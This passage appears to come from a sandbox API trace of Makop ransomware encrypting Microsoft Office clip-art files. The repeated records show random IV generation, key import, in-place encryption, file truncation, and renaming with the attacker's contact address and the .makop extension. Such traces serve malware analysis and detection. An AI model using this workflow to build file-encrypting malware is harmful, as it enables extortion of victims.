(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.928] CloseHandle (hObject=0xf0) returned 1 [0121.928] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107544.WMF", cAlternateFileName="")) returned 1 [0121.929] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0121.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.929] GetProcessHeap () returned 0x48a0000 [0121.929] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.930] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.930] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.930] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.930] GetProcessHeap () returned 0x48a0000 [0121.930] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.930] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.930] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.930] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.936] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.936] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.936] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.936] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6890, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6890, lpOverlapped=0x0) returned 1 [0121.938] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6890, dwBufLen=0x6890 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6890) returned 1 [0121.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.939] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6890, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6890, lpOverlapped=0x0) returned 1 [0121.939] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.939] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.939] SetEndOfFile (hFile=0xf0) returned 1 [0121.946] GetProcessHeap () returned 0x48a0000 [0121.946] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.947] GetProcessHeap () returned 0x48a0000 [0121.947] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.947] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.947] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.948] CloseHandle (hObject=0xf0) returned 1 [0121.948] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107658.WMF", cAlternateFileName="")) returned 1 [0121.948] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63 [0121.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.949] GetProcessHeap () returned 0x48a0000 [0121.949] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.950] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.950] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.950] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.950] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.950] GetProcessHeap () returned 0x48a0000 [0121.950] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.950] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.950] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.950] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.955] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.955] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.955] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.956] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.956] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.956] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.956] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.956] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ba0, lpOverlapped=0x0) returned 1 [0121.957] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ba0, dwBufLen=0x1ba0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ba0) returned 1 [0121.958] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.958] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ba0, lpOverlapped=0x0) returned 1 [0121.959] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.959] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.959] SetEndOfFile (hFile=0xf0) returned 1 [0121.966] GetProcessHeap () returned 0x48a0000 [0121.966] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.966] GetProcessHeap () returned 0x48a0000 [0121.966] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.966] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.966] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.968] CloseHandle (hObject=0xf0) returned 1 [0121.968] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107708.WMF", cAlternateFileName="")) returned 1 [0121.968] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned 63 [0121.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.971] GetProcessHeap () returned 0x48a0000 [0121.971] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.971] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.971] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.971] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.976] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.976] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.976] GetProcessHeap () returned 0x48a0000 [0121.976] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.976] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.976] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.976] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.977] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.977] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.977] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.977] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.977] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.977] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.978] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.978] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x12c8, lpOverlapped=0x0) returned 1 [0121.979] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12d0, dwBufLen=0x12d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12d0) returned 1 [0121.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.979] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x12d0, lpOverlapped=0x0) returned 1 [0121.980] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x13a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.980] SetEndOfFile (hFile=0xf0) returned 1 [0121.986] GetProcessHeap () returned 0x48a0000 [0121.987] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.987] GetProcessHeap () returned 0x48a0000 [0121.987] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.987] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.987] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.988] CloseHandle (hObject=0xf0) returned 1 [0121.988] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107712.WMF", cAlternateFileName="")) returned 1 [0121.988] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned 63 [0121.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.990] GetProcessHeap () returned 0x48a0000 [0121.990] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.990] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.990] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.990] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.995] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.995] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.995] GetProcessHeap () returned 0x48a0000 [0121.995] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.995] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.995] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.995] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.996] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.996] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.996] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.996] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.996] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.997] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.997] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.997] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.997] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x121c, lpOverlapped=0x0) returned 1 [0121.998] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1220, dwBufLen=0x1220 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1220) returned 1 [0121.998] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.999] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1220, lpOverlapped=0x0) returned 1 [0121.999] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.999] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.999] SetEndOfFile (hFile=0xf0) returned 1 [0122.006] GetProcessHeap () returned 0x48a0000 [0122.006] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0122.006] GetProcessHeap () returned 0x48a0000 [0122.006] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0122.006] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0122.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), 